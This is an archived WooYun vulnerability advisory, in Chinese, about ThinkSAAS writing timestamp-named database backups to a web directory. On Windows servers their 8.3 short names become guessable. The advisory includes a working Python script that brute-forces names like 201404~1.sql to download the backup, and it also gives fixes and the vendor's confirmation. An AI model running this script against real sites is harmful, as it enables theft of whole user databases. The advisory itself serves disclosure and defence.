当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-056625

漏洞标题:ThinkSAAS某处设计缺陷可能导致被拖库利用(环境与功能条件限制)

相关厂商:thinksaas.cn

漏洞作者: xfkxfk

提交时间:2014-04-11 10:56

修复时间:2014-07-10 10:57

公开时间:2014-07-10 10:57

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-04-11: 细节已通知厂商并且等待厂商处理中
2014-04-11: 厂商已经确认,细节仅向厂商公开
2014-04-14: 细节向第三方安全合作伙伴开放
2014-06-05: 细节向核心白帽子及相关领域专家公开
2014-06-15: 细节向普通白帽子公开
2014-06-25: 细节向实习白帽子公开
2014-07-10: 细节向公众公开

简要描述:

ThinkSAAS某处设计缺陷可被直接拖库

详细说明:

首先我们来科普一下windows的短文件名,也就是下面我们要用到的。

背景知识:


Windows 支持的长文件名最多为 255 个字符。Windows 还以 8.3 格式生成与 MS-DOS 兼容的(短)文件名,以允许基于 MS-DOS 或 16 位 Windows 的程序访问这些文件。
Windows 按以下方式从长文件名生成短文件名:
Windows 删除文件名中的任何无效字符和空格。无效字符包括:
. ” / \ [ ] : ; = ,
由于短文件名只能包含一个英文句点 (.),因此,Windows 将删除文件名中的其他英文句点,即使文件名中最后一个英文句点后面是有效的非空格字符,也是如此。例如,Windows 从长文件名
This is a really long filename.123.456.789.txt
生成短文件名
Thisis~1.txt
否则,Windows 将忽略最后一个英文句点,而使用倒数第二个英文句点。例如,Windows 从长文件名
This is a really long filename.123.456.789.
生成短文件名
Thisis~1.789
生成短文件名如果需要的话,Windows 将文件名截断为 6 个字符,并在后边附加一个波形符 (~) 和一个数字。例如,创建的每个以”~1″结尾的唯一文件名。复制文件名以”~2″、”~3″等结尾。
生成短文件名Windows 将文件扩展名截断为 3 个字符或更短。
生成短文件名Windows 将文件名及扩展名中的所有字符转为大写。

Apache下:


acunetix研究指出当Apache运行在windows下,如果创建了一个长文件,那么无需猜解长文件,直接用短文件就可以下载了。例如一个backup-082119f75623eb7abd7bf357698ff66c.sql的长文件,其短文件是BACKUP~1.SQL,攻击者只需要提交BACKUP~1.SQL就可以直接访问该文件

问题:


当我们在备份文件时,总想用一个够长的,够随即的,难猜解的文件名来命名我们的文件,很多都是各种md5值,或者各种日期+随机数这些,但是文件名会很长,这是当服务器为windows时,精心构造的长文件名就失效了,因为遇到了短文件名。

利用:


所以在上述情况下,当服务器有备份文件时,且文件名较长时(好像是大于9位),就会生成短文件名,这时,即使还不知道前面6字符的值,但是给我们猜解,爆破带来了很大方便。如果是日期+随机数这种的,就更简单了。

下面说说一个具体的实例:


来看看thinksaas的数据库备份操作:

} else { // 备份全部表
if ($tables = mysql_query ( "show table status from " . $this->database )) {
$this->msg .= "读取数据库结构成功!<br />";
} else {
exit ( "读取数据库结构失败!<br />" );
}
// 插入dump信息
$sql .= $this->_retrieve ();
// 文件名前面部分
$filename = date ( 'YmdHis' ) . "_all";
// 查出所有表
$tables = mysql_query ( 'SHOW TABLES' );
// 第几分卷
$p = 1;
// 循环所有表
while ( $table = mysql_fetch_array ( $tables ) ) {
// 获取表名
$tablename = $table [0];
// 获取表结构
$sql .= $this->_insert_table_structure ( $tablename );
$data = mysql_query ( "select * from " . $tablename );
$num_fields = mysql_num_fields ( $data );

// 循环每条记录
while ( $record = mysql_fetch_array ( $data ) ) {
// 单条记录
$sql .= $this->_insert_record ( $tablename, $num_fields, $record );
// 如果大于分卷大小,则写入文件
if (strlen ( $sql ) >= $size * 1000) {

$file = $filename . "_v" . $p . ".sql";
// 写入文件
if ($this->_write_file ( $sql, $file, $dir )) {
$this->msg .= "-卷-" . $p . "-数据备份完成,生成备份文件<span style='color:#f00;'>$dir$file</span><br />";
} else {
$this->msg .= "备份卷-" . $p . "-失败<br />";
return false;
}
// 下一个分卷
$p ++;
// 重置$sql变量为空,重新计算该变量大小
$sql = "";
}
}
}
// sql大小不够分卷大小
if ($sql != "") {
$filename .= "_v" . $p . ".sql";
if ($this->_write_file ( $sql, $filename, $dir )) {
$this->msg .= "-卷-" . $p . "-数据备份完成,生成备份文件 <span style='color:#f00;'>$dir$filename<br />";
} else {
$this->msg .= "备份卷-" . $p . "-失败<br />";
return false;
}
}


对备份的文件名如下进行命名:

$filename = date ( 'YmdHis' ) . "_all";
$p = 1;
$file = $filename . "_v" . $p . ".sql";


日期+_all+_v1.sql
这个文件名已经超出了9字符,肯定可以生产短文件名的。
生成类似于这样的名称:
20140410174942_all_v1.sql
利用windows的短文件名规则,
201404~1.sql
这样就可以访问数据库备份文件了,当然,就算不利用短文件名,也是可以遍历的,只是需要遍历的范围加大了而已。
首先我们来看看后台生产的备份文件:

1.png


我们现在是不知道这些文件名的,所以无法访问此备份文件的

2.png


那么既然有短文件名,而且是时间命名开头,这样我们可以很随意就能猜解出来文件名,下面我们用一个脚本进行猜解:

# -*- coding: UTF-8 -*-
import urllib
from urlparse import urljoin
def run(host):
print "Starting......"

years =["2012","2013","2014"]
months = ["01","02","03","04","05","06","07","08","09","10","11","12"]

for y in range(len(years)):
for i in range(len(months)):
mdhis = months[i]
year = years[y]
url = urljoin(host, "/data/baksql/"+year+mdhis+"~1.sql")
print url
res = urllib.urlopen( url )
if res.getcode() == 200 and len(res.read()) > 0:
print "Success, The Bak Url Is : >>> " + url
break
print "Nothing..."
if __name__ == "__main__":
import sys
host = sys.argv[1]
run(host)


成功猜解出数据库备份文件名:

3.png

漏洞证明:

见详细说明

修复方案:

1、如果您是Windows服务器,请将备份文件存到WEB不可访问的位置;
2、将文件名随机长度小于<9,就不会出来短文件名,当然文件名最好是字母随机,而不是数字随机;
3、将文件所放目录进行随机化处理。
4、把备份数据库文件后缀为php,在最前面加一段代码:<?exit('error');?>,使其无法访问此文件。
5、其他

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-04-11 11:36

厂商回复:

感谢关注,我们会按照修复方案进行修复。

最新状态:

暂无


漏洞评价:

评论

  1. 2014-04-11 11:21 | ′ 雨。 ( 普通白帽子 | Rank:1231 漏洞数:190 | Only Code Never Lie To Me.)

    重走大厂商?

  2. 2014-04-11 11:34 | xfkxfk 认证白帽子 ( 核心白帽子 | Rank:2179 漏洞数:338 | 呵呵!)

    刚才不是小厂商么?o(╯□╰)o

  3. 2014-04-14 12:58 | 光刃 ( 普通白帽子 | Rank:200 漏洞数:24 | 萝卜白菜保平安)

    膜拜大牛

  4. 2014-04-14 13:04 | xfkxfk 认证白帽子 ( 核心白帽子 | Rank:2179 漏洞数:338 | 呵呵!)

    @光刃 溢出牛,好久不见溢出了啊